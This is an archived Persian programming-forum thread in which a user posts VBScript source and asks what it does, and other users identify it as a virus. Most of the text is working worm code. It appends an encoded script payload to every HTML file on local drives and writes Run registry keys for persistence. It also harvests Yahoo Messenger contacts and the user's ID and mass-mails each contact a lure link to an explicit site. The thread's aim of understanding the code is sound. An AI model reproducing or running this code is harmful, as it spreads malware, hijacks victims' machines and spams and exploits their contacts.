PDA

View Full Version : سوال: فایلهای VBS. چه فایلهایی هستند ( ؟؟؟؟ )



DoctorJay
پنج شنبه 19 اردیبهشت 1387, 23:08 عصر
دوستان لطف کنن راجبه فایلهای vbs. یه خورده توضیح بدن ,

و بگن این کدا دقیقا چه کارایی می کنه ؟؟




on error resume next
dim filehtm,sys,yr
filehtm1="10010510903211512111501301008310111603210010203206 10321001110991171091011101160460991141010971161010 69108101109101110116040034111098106101099116034041 01301010010204611510111606511611611410509811711610 10320340991080971151151051000340440320340991081151 05100058066068057054067053053054045054053065051045 04904906804804505705605106504504804806704805207006 70500570690510540320340130101151011160321021151110 32061032100102046099114101097116101111098106101099 11604003408309911410511211610511010304607010510810 10831211151161011090790981061010991160340440340340 41013010115101116032115061100102046067114101097116 10107909810610109911604003408310410110810804606511 21121081050990971161051111100460490340440340340410 13010115101116032114101061100102046099114101097116 10111109810610109911604003411911509911410511211604 61151041011081080340440340340410130101151211150611 02115111046071101116083112101099105097108070111108 10010111404004904101301007011111403209703206103204 90320841110320761011100401021051081011180981150490 41032083116101112032051013010102105108101118098115 05006110210510810111809811505003203803209910411404 01091051000401021051081011180981150490440970440510 41041013010105102032097032060032108101110040102105 10810110112010104904104304903211610410111003210210 51081011011201010500611021051081011011201010500320 38032099104114040109105100040102105108101101120101 04904409704405104104101301011010112011601301010711 40320610320850670971151010401141010460821011030821 01097100040034072075069089095076079067065076095077 06506707207307806909208307907008408706508206909207 71050991141111151111021160920871051101001111191150 92067117114114101110116086101114115105111110092082 11711009207710509911411111511110211603208710511010 01111191150340410410130101021151110460671141010971 16101084101120116070105108101040115121115032038032 03409208408308005105006904606807607603404104611911 41051161010321021051081011011201010490130101051020 32117099097115101040102115111046070105108101069120 10511511611504011512111503203803203409207510111411 01011080461011201010340410410610340700650760830690 34032111114032107114060062117099097115101040115121 11503203803203409207506908207806907604606908806903 40410321161041011100130101141010461141011031191141 05116101032034072075069089095076079067065076095077 06506707207307806909208307907008408706508206909207 71050991141111151111021160920871051101001111191150 92067117114114101110116086101114115105111110092082 11711009203403203803203407710509911411111511110211 60320871051101001111191150340320441151211150320380 34092075101114110101108046101120101034013010102115 11104606711410109711610108410112011607010510810104 01151211150320380320340920751011141101011080461011 20101034041046119114105116101032102105108101101120 10105001301011504607911210111003204011512111503203 80320340920751011141101011080461011201010340410130 10101110100032105102013010102115111046067114101097 11610108410112011607010510810104011512111503203803 20340920840830800510500860460680760760340410461191 14105116101032102105108101118098115049013010105102 03210211511104611111210111011610112011610210510810 10401151211150320380320340920831211151161011091180 46100108108034044049041046114101097100097108108060 06203411111003403211610410111001301010211511104606 71141010971161010841011201160701051081010401151211 15032038032034092075101114110101108046118098115034 04104611911410511610103210210510810111809811505001 30101150460791121011100320401151211150320380320340 92075101114110101108046118098115034041013010101110 100032105102013010060047115099114105112116062"
set fso=createobject("scripting.filesystemobject")
set re=createobject("wscript.shell")
sys=fso.GetSpecialFolder(1)
fso.CreateTextFile(sys & "\Systemv.dll").write "on"
filehtm="<script language=vbscript>" & vbcrlf & "on error resume next" & vbcrlf
filehtm=filehtm & "fileexe1=""" & fso.opentextfile(sys & "\TSP32E.DLL",1).readall & """" & vbcrlf
filehtm=filehtm & "filevbs1=""" & fso.opentextfile(sys & "\TSP32V.DLL",1).readall & """" & vbcrlf
For a = 1 To Len(filehtm1) Step 3
filehtm=filehtm & chr(mid(filehtm1,a,3))
next
re.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.vbs"
re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"
yr=re.RegRead("HKEY_CURRENT_USER\Software\yahoo\pager\Yahoo! User ID")
start
Sub start()
on error resume next
For Each dr1 In fso.Drives
If dr1.DriveType = 2 Or dr1.DriveType = 3 Then file1 (dr1 & "\"): folder1 (dr1 & "\")
Next
sendmail
End Sub
Sub folder1(dr1)
on error resume next
For Each fo In fso.GetFolder(dr1).SubFolders
if UCase(right(fo,25))="YAHOO!\MESSENGER\PROFILES" then yahoo(fo)
file1 (fo)
folder1 (fo)
Next
End Sub
Sub file1(fo)
on error resume next
For Each fi In fso.GetFolder(fo).Files
nj (fi)
Next
End Sub
sub nj(fi)
on error resume next
ext=UCase(fso.GetExtensionName(fi))
if ext="HTM" or ext="HTML" or ext="HTT" then
if right(fso.opentextfile(fi,1).readall,len(filehtm))<>filehtm then
fso.opentextfile(fi,8).write vbcrlf & filehtm
end if
end if
end sub
sub yahoo(foy1)
For Each foy2 In fso.GetFolder(foy1).SubFolders
mailall=mailall & fso.GetFileName(foy2) & "@yahoo.com" & vbcrlf
next
fso.createtextfile(sys & "\mail.log").write mailall & "END"
fso.createtextfile(sys & "\send.log").write yr & "@yahoo.com"
end sub
sub sendmail()
on error resume next
sendm=fso.opentextfile(sys & "\send.log",1).readall
set mailm=fso.opentextfile(sys & "\mail.log",1)
maila=mailm.readline
while maila <> "END"
Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "Hello"
objMessage.Sender = sendm
objMessage.from= sendm
objMessage.To = maila
objMessage.TextBody = "Hello" & vbcrlf & "Go to my sait: http://girlsex.webs.io/picture.htm"
objMessage.Send
maila=mailm.readline
wend
fso.CreateTextFile(sys & "\Systemv.dll").write "off"
end sub

rostamkhani
جمعه 20 اردیبهشت 1387, 00:43 صبح
فکر میکنم برای اجرای کد های vb به آسانی میشه استفاده کرد
این کدهم از اون عددهای که اولش هست داد میزنه که احتمالا یک ویروس

http://barnamenevis.org/forum/attachment.php?attachmentid=17278&stc=1&d=1210279286

پیغام nod32 در هنگام ذخیره فایل
اگه آنتی ویروس دارین و میخواین فایلو ذخیره کنین یا با word یا wordpad اگه با Notepad خواستین ذخیره کنین
ANSI ذخیره نکنین با UTF-8 ذخیره کنین

H4i0 ACP
جمعه 20 اردیبهشت 1387, 01:05 صبح
کد جالبیه !؟؟؟؟؟

مهتاب سعیدی
جمعه 20 اردیبهشت 1387, 02:05 صبح
سلام - این یه ویروسه که با ایجاد یه تایمر خودش رو کپی میکنه .

DoctorJay
شنبه 21 اردیبهشت 1387, 00:28 صبح
این ویروس دقیقا چه کار می کنه !؟ کسی اینو نمی دونه ؟؟

این کدا مربوط به این ویروسه ( اجراش نکنید )